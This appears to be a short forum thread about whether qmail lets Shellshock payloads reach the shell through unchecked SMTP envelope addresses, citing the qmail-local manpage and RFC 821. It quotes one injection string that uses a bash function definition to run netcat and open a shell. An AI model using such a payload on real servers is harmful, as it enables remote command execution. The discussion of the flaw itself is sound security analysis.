ENVIRONMENT VARIABLES qmail-local supplies several useful environment variables to command. WARNING: These environment variables are not quoted. They may contain special characters. They are under the control of a possibly malicious remote user.
edit: which is to say, yes, djb thought of it a long time ago.
But to paraphrase from the thread:
However, qmail is not parsing mail from:<> and rcpt to:<> in accordance with RFC821/RFC2821. Almost anything is allowed between the <>. There is no reason that qmail should allow the string "() { :; }; nc -e /bin/bash localhost 7777" to ever pass through mail from:<> or rcpt to:<>, and thus into the environment, in the first place.
While the manpage does say what you pasted above, there's a difference between "may contain special characters" and "may contain anything the user puts in this part of the SMTP dialog".
(However, it's certainly true that carelessly passing strings through to things that do interpret them will cause vulnerabilities. SQL injection, shell injection, that really bizarre XSS hole I found in CGI.pm last millennium, XSS in general...)
Seems like an interesting way to avoid paying out.